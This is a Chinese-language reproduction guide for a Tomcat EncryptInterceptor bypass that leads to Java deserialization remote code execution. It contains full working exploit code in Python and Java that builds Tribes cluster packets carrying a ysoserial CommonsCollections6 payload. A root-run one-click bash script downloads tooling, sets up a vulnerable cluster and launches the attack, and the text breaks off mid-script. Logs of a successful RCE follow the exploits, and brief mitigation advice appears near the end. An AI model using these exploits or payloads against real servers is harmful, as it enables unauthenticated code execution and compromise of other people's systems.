一、漏洞概述
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-34486 |
| 严重程度 | Important / High(CVSS 3.1: 7.5) |
| 漏洞类型 | CWE-311 敏感数据缺失加密 / CWE-807 不可信输入约束 |
| 受影响版本 | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| 修复版本 | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| 根因 | EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到 try-catch 块外部 |
原文作者:AirSkye
https://github.com/AirSkye/CVE-2026-34486-poc
漏洞根因
修复 CVE-2026-29146(Padding Oracle)时,开发者重构 EncryptInterceptor.messageReceived() 方法,将 super.messageReceived(msg) 从 try 块内部移到了外部:
修复前(安全):
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
super.messageReceived(msg); // ← 在 try 内,解密成功才传递
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,消息被丢弃
}
}
漏洞代码(危险):
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
字节码验证(来自 Tomcat 9.0.116 的 EncryptInterceptor.class):
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外
60: aload_0
61: aload_1
62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
二、复现环境
| 组件 | 版本/配置 |
|---|---|
| 操作系统 | Ubuntu 22.04 (沙箱环境) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116(漏洞版本) |
| Gadget 库 | Commons Collections 3.1 |
| 攻击工具 | ysoserial v0.0.6 + 自定义 Python/Java PoC |
环境拓扑
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
三、详细复现步骤
步骤 1:下载并安装漏洞版本 Tomcat
# 下载 Tomcat 9.0.116
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
# 解压两份
tar -xzf apache-tomcat-9.0.116.tar.gz
cp -r apache-tomcat-9.0.116 tomcat-node1
cp -r apache-tomcat-9.0.116 tomcat-node2
步骤 2:安装 Gadget 库
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
步骤 3:配置集群 + EncryptInterceptor
编辑 tomcat-node1/conf/server.xml,在 <Engine> 内添加:
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<!-- 关键:启用 EncryptInterceptor -->
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionAlgorithm="AES/CBC/PKCS5Padding"
encryptionKey="546869734973415365637265744B6579"/>
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="auto" port="4000" autoBind="100"
selectorTimeout="5000" maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
注意:
encryptionKey必须是十六进制字符串格式(如546869734973415365637265744B6579= “ThisIsASecretKey” 的 ASCII 十六进制),不能是明文字符串。
步骤 4:启用 Session 复制
在 webapps/ROOT/WEB-INF/web.xml 中添加:
<distributable/>
步骤 5:启动 Tomcat 集群
# 启动 Node1
cd tomcat-node1 && bin/catalina.sh start
# 启动 Node2
cd tomcat-node2 && bin/catalina.sh start
# 验证集群建立
# 日志中应出现: "Replication member added: ..."
# 端口 4000/4001 应监听中
实际启动日志确认:
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
步骤 6:生成反序列化 Payload
# 使用 ysoserial 生成 CommonsCollections6 gadget chain
# (CC6 在 Java 高版本兼容性更好)
java --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED" \
> payload_touch.bin
# 验证 payload 以 Java 序列化魔术字节开头
python3 -c "
with open('payload_touch.bin', 'rb') as f:
print(f'Magic: {f.read(2).hex()}') # 应输出: aced
"
步骤 7:构造并发送 Tribes 协议消息
Tribes 消息需要特定的 XByteBuffer 帧封装格式:
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
其中 ChannelData 载荷结构:
[options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)]
[memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
关键:消息体直接放入未加密的 Java 序列化 payload,这就是漏洞利用的核心——EncryptInterceptor 会尝试解密,失败后仍将原始字节传递给后续链。
方式一:Python PoC 脚本 (exploit.py)
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)
def build_member_data(host_bytes, port):
"""构造 MemberImpl 序列化数据"""
inner = b""
inner += struct.pack(">q", 0) # memberAliveTime (8B)
inner += struct.pack(">i", port) # port (4B)
inner += struct.pack(">i", 0) # securePort (4B)
inner += struct.pack(">i", 0) # udpPort (4B)
inner += struct.pack(">b", len(host_bytes)) # hostLen (1B)
inner += host_bytes # host
inner += struct.pack(">i", 0) # commandLen (4B)
inner += struct.pack(">i", 0) # domainLen (4B)
inner += os.urandom(16) # uniqueId (16B)
inner += struct.pack(">i", 0) # payloadLen (4B)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
"""构造 ChannelData 载荷"""
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
channel_data = b""
channel_data += struct.pack(">i", 0) # options (无 ACK)
channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
channel_data += struct.pack(">i", len(unique_id)) # uniqueIdLen
channel_data += unique_id # uniqueId
channel_data += struct.pack(">i", len(member_data)) # memberDataLen
channel_data += member_data # memberData
channel_data += struct.pack(">i", len(message_body)) # messageLen
channel_data += message_body # message body
return channel_data
def build_tribes_packet(channel_data):
"""封装 XByteBuffer 帧"""
return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
print(f"[*] 目标: {target_ip}:{target_port}")
print(f"[*] Payload: {payload_file}")
# 读取 payload
with open(payload_file, 'rb') as f:
raw_payload = f.read()
print(f"[*] Payload 大小: {len(raw_payload)} bytes")
print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")
if raw_payload[:2] != b'\xac\xed':
print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")
# 解析目标 IP 为字节数组
host_bytes = socket.inet_aton(target_ip)
# 构造 Tribes 消息
# 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
# 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = build_tribes_packet(channel_data)
print(f"[*] 完整数据包大小: {len(packet)} bytes")
print(f"[*] 连接到 {target_ip}:{target_port}...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
print(f"[*] 发送 {len(packet)} 字节的数据包...")
sock.sendall(packet)
print("[+] 数据包发送成功!")
print("[*] 等待目标处理...")
# 等待可能的响应或 ACK
try:
response = sock.recv(4096)
if response:
print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
except socket.timeout:
pass
sock.close()
print("[+] 连接关闭")
print()
print("[*] 漏洞触发标志:")
print(" 1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
print(" 2. 随后发生反序列化 -> RCE")
print(" 3. 没有反序列化异常日志(静默执行)")
except ConnectionRefusedError:
print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
sys.exit(1)
except Exception as e:
print(f"[-] 错误: {e}")
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
print(f" {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
payload_file = sys.argv[3]
receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port
if not os.path.exists(payload_file):
print(f"[-] Payload 文件不存在: {payload_file}")
sys.exit(1)
send_exploit(target_ip, target_port, payload_file, receiver_port)
使用方法:
python3 exploit.py 172.24.0.7 4000 payload_touch.bin
方式二:Java PoC 脚本 (ExploitSender.java)
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;
import java.io.Serializable;
/**
* CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
* 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
* 解密失败后,原始未加密字节仍被传递给后续处理链
*/
public class ExploitSender {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
System.exit(1);
}
String targetHost = args[0];
int targetPort = Integer.parseInt(args[1]);
String payloadFile = args.length > 2 ? args[2] : null;
System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
System.out.println("[*] 目标: " + targetHost + ":" + targetPort);
// 读取 payload
java.io.File f = new java.io.File(payloadFile);
java.io.FileInputStream fis = new java.io.FileInputStream(f);
byte[] payload = new byte[(int) f.length()];
fis.read(payload);
fis.close();
System.out.println("[*] Payload 大小: " + payload.length + " bytes");
System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));
// 直接通过 TCP 发送 Tribes 格式的消息
// 构造 ChannelData 数据包
java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
java.io.OutputStream out = sock.getOutputStream();
// 使用 Tribes 内部格式发送
// XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33}; // "TLF003"
// 构造 ChannelData 载荷
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);
// options (4B)
dos.writeInt(0);
// timestamp (8B)
dos.writeLong(System.currentTimeMillis());
// uniqueId length + uniqueId (4B + 16B)
byte[] uniqueId = new byte[16];
new java.util.Random().nextBytes(uniqueId);
dos.writeInt(uniqueId.length);
dos.write(uniqueId);
// member data - 构造最小的 MemberImpl
java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);
byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();
// MemberImpl inner data
java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
innerDos.writeLong(0); // memberAliveTime
innerDos.writeInt(targetPort); // port
innerDos.writeInt(0); // securePort
innerDos.writeInt(0); // udpPort
byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
innerDos.writeByte(hostBytes.length); // hostLen
innerDos.write(hostBytes); // host
innerDos.writeInt(0); // commandLen
innerDos.writeInt(0); // domainLen
innerDos.write(new byte[16]); // uniqueId (16B)
innerDos.writeInt(0); // payloadLen
innerDos.flush();
byte[] innerData = innerBaos.toByteArray();
// Full member data
memberDos.write(TRIBES_MBR_BEGIN);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.writeInt(innerData.length);
memberDos.write(innerData);
memberDos.write(TRIBES_MBR_END);
memberDos.writeByte(0x01);
memberDos.writeByte(0x00);
memberDos.flush();
byte[] memberData = memberBaos.toByteArray();
// Write member data length + data
dos.writeInt(memberData.length);
dos.write(memberData);
// Write message body length + payload (未加密的序列化数据)
dos.writeInt(payload.length);
dos.write(payload);
dos.flush();
byte[] channelData = baos.toByteArray();
// 构造完整帧
java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
frameBaos.write(START_DATA);
// length as 4 bytes big-endian
frameBaos.write(new byte[]{
(byte) ((channelData.length >> 24) & 0xFF),
(byte) ((channelData.length >> 16) & 0xFF),
(byte) ((channelData.length >> 8) & 0xFF),
(byte) (channelData.length & 0xFF)
});
frameBaos.write(channelData);
frameBaos.write(END_DATA);
byte[] packet = frameBaos.toByteArray();
System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
System.out.println("[*] 发送数据包...");
out.write(packet);
out.flush();
System.out.println("[+] 数据包发送成功!");
// 等待响应
Thread.sleep(2000);
sock.close();
System.out.println("[+] 连接关闭");
}
}
编译与运行:
# 编译(需要 catalina-tribes.jar 在 classpath 中)
javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java
# 运行
java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin
步骤 8:验证漏洞触发
受害者日志(解密失败 + 消息仍被传递):
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
...
at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)
RCE 成功验证(标志文件已创建):
$ ls -la /tmp/CVE-2026-34486-PWNED
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
四、漏洞利用链完整图解
攻击者
│
│ TCP 连接到 172.24.0.7:4000
│ 发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
│ ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
│
▼
NioReceiver
│ 解帧: 识别 FLT2002/TLF003,提取 ChannelData
│ ChannelData.getDataFromPackage() 解析消息
▼
ChannelCoordinator.messageReceived()
│ 沿拦截器链向上传递
▼
TcpFailureDetector.messageReceived()
▼
EncryptInterceptor.messageReceived() ← 漏洞点
│
│ try {
│ data = msg.getMessage().getBytes(); // 获取 payload 原始字节
│ data = encryptionManager.decrypt(data); // ❌ 解密失败!
│ // → 抛出 IllegalBlockSizeException
│ } catch (GeneralSecurityException gse) {
│ log.error("Failed to decrypt message"); // 仅记录日志
│ // 异常被吞,执行流继续
│ }
│
│ super.messageReceived(msg); ← 💀 在 try-catch 外,仍会执行!
│ msg 中仍是攻击者的原始字节
▼
MessageDispatchInterceptor.messageReceived()
▼
GroupChannel.messageReceived()
│ 反序列化: ObjectInputStream.readObject() ← 无类过滤!
▼
CommonsCollections6 Gadget Chain 执行
│ Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
▼
RCE 成功 ✅
五、关键证据汇总
5.1 漏洞代码字节码证据
从 Tomcat 9.0.116 的 EncryptInterceptor.class 反编译:
| 偏移 | 指令 | 含义 |
|---|---|---|
| 0-38 | try 块内容 | decrypt() + 消息体替换 |
| 39 | goto 60 | try 块正常结束跳转 |
| 42-58 | catch 块 | 捕获 GeneralSecurityException,仅 log.error |
| 60 | aload_0, aload_1 | 加载 this 和 msg |
| 62 | invokespecial #136 | super.messageReceived(msg) |
Exception table: from=0, to=39, target=42 — 偏移 60 明确在 try 范围之外。
5.2 运行时证据
| 证据 | 内容 |
|---|---|
| 解密失败日志 | SEVERE: Failed to decrypt message + IllegalBlockSizeException |
| RCE 标志文件 | /tmp/CVE-2026-34486-PWNED 创建于 Apr 15 03:46 |
| 反序列化异常日志 | 无 — payload 静默执行 |
5.3 攻击静默性
日志中仅有 EncryptInterceptor.decrypt.failed 一条 SEVERE 记录,没有任何反序列化异常。这意味着:
- 防御者如果只关注反序列化异常,不会发现攻击
- 唯一的线索是 “Failed to decrypt message”,在启用了 EncryptInterceptor 的环境中可能被误认为是网络问题
六、修复方案
6.1 官方修复
升级到修复版本:Tomcat 9.0.117 / 10.1.54 / 11.0.21。
修复方法:将 super.messageReceived(msg) 移回 try 块内部,确保只有解密成功的消息才会被传递。
6.2 临时缓解措施
如果无法立即升级:
- 网络层面:使用防火墙限制 Tribes 通信端口(默认 TCP 4000)仅允许集群节点 IP 访问
- 移除 EncryptInterceptor:如果不需要集群加密,移除该拦截器(但这会失去加密保护)
- 添加序列化过滤器:在 JVM 层面添加
ObjectInputFilter限制可反序列化的类
七、复现环境清理
# 停止 Tomcat
tomcat-node1/bin/shutdown.sh
tomcat-node2/bin/shutdown.sh
# 清理标志文件
rm -f /tmp/CVE-2026-34486-PWNED
# 清理整个环境
rm -rf tomcat-lab/
八、总结
CVE-2026-34486 是一个由一行代码位移引入的高危回归漏洞。它完美诠释了”安全修复本身可能引入新的安全缺陷”这一规律:
- 修复 Padding Oracle(CVE-2026-29146) → 重构加密管理器
- 重构过程中代码位移 →
super.messageReceived(msg)移出 try 块 - 加密拦截器完全失效 → 未加密字节被直接传递给无过滤的反序列化入口
- 结果:刻意启用加密保护的集群反而成为最容易受到 RCE 攻击的目标
本次复现完整验证了从发送未加密 payload 到 RCE 成功的全链路,证明了该漏洞的实际可利用性。
九、一键复现脚本
以下脚本可在全新的 Ubuntu/Debian 机器上一键完成 CVE-2026-34486 的完整复现。脚本会自动检测并安装依赖(JDK、Python3),下载 Tomcat 漏洞版本,配置集群 + EncryptInterceptor,生成 payload,发送攻击,最后输出验证结果。
使用方法:保存为
cve-2026-34486-repro.sh,执行chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================
set -e
# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579" # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"
# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
info() { echo -e "${CYAN}[*]${NC} $1"; }
ok() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
fail() { echo -e "${RED}[-]${NC} $1"; exit 1; }
# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."
# 检测 root
if [ "$EUID" -ne 0 ]; then
fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi
# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1
# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"
# 验证 Python3
python3 --version
ok "Python3 已就绪"
# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"
# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."
TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"
wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"
tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"
# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."
wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"
# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."
wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"
# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."
# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys
with open(sys.argv[1], 'r') as f:
xml = f.read()
# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)
# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="8">
<Manager className="org.apache.catalina.ha.session.DeltaManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionAlgorithm="AES/CBC/PKCS5Padding"
encryptionKey="''' + sys.argv[4] + '''"/>
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
selectorTimeout="5000" maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
<Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
<Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
'''
# 替换被注释的 Cluster 占位符
xml = re.sub(
r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
cluster_xml,
xml,
flags=re.DOTALL
)
with open(sys.argv[1], 'w') as f:
f.write(xml)
PYEOF
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node1/conf/server.xml" \
"$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"
python3 /tmp/node1-server.xml.patch.py \
"$WORKDIR/tomcat-node2/conf/server.xml" \
"$NODE2_HTTP_PORT" "$NODE2_SHUTDOWN_PORT" \
"$ENCRYPTION_KEY_HEX" "$NODE2_TRIBES_PORT"
ok "server.xml 配置完成 (Node1: 端口${NODE1_TRIBES_PORT}, Node2: 端口${NODE2_TRIBES_PORT})"
# 创建 web.xml (启用 Session 复制)
for node in tomcat-node1 tomcat-node2; do
mkdir -p "$node/webapps/ROOT/WEB-INF"
cat > "$node/webapps/ROOT/WEB-INF/web.xml" << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<distributable/>
</web-app>
XMLEOF
done
ok "web.xml 配置完成 (distributable)"
# ==================== 7. 启动集群并攻击 ====================
info "步骤 7/8: 启动 Tomcat 集群..."
chmod +x tomcat-node1/bin/catalina.sh tomcat-node2/bin/catalina.sh
export JAVA_HOME
cd "$WORKDIR/tomcat-node1" && bin/catalina.sh start
cd "$WORKDIR/tomcat-node2" && bin/catalina.sh start
cd "$WORKDIR"
info "等待集群启动 (15秒)..."
sleep 15
# 检查端口
if ! ss -tlnp | grep -q ":${NODE1_TRIBES_PORT} "; then
fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"
# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"
# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."
# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi
$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
CommonsCollections6 "touch ${RCE_MARKER}" \
> "$WORKDIR/payload_touch.bin" 2>/dev/null
if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"
# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time
START_DATA = b"FLT2002"
END_DATA = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END = b"TRIBES-E\x01\x00"
def build_member_data(host_bytes, port):
